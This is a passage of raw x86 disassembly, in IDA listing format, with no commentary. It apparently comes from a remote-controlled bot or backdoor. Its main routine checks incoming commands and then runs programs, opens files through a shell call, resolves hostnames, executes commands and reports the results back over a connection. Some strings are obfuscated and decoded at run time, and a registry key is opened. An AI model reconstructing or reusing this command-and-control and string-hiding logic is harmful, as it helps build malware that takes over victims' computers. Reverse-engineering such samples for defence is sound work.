		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448C92
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D60C9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60A5
		call	sub_401D0C
		call	edi
		mov	dword_4D60C9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 27F0000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		call	near ptr 27E0517h
		nop
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E75
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478C6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447864
		mov	ecx, offset dword_448DA0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44790F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44793F
		mov	ecx, offset dword_448DA0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DA0
		call	sub_401E5B
		mov	byte_4D60BC, 0
		mov	byte_4E6E74, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E8A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60BC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		call	near ptr 71AB4FD4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60A5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E75
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E75
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E75
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60A5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F60
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
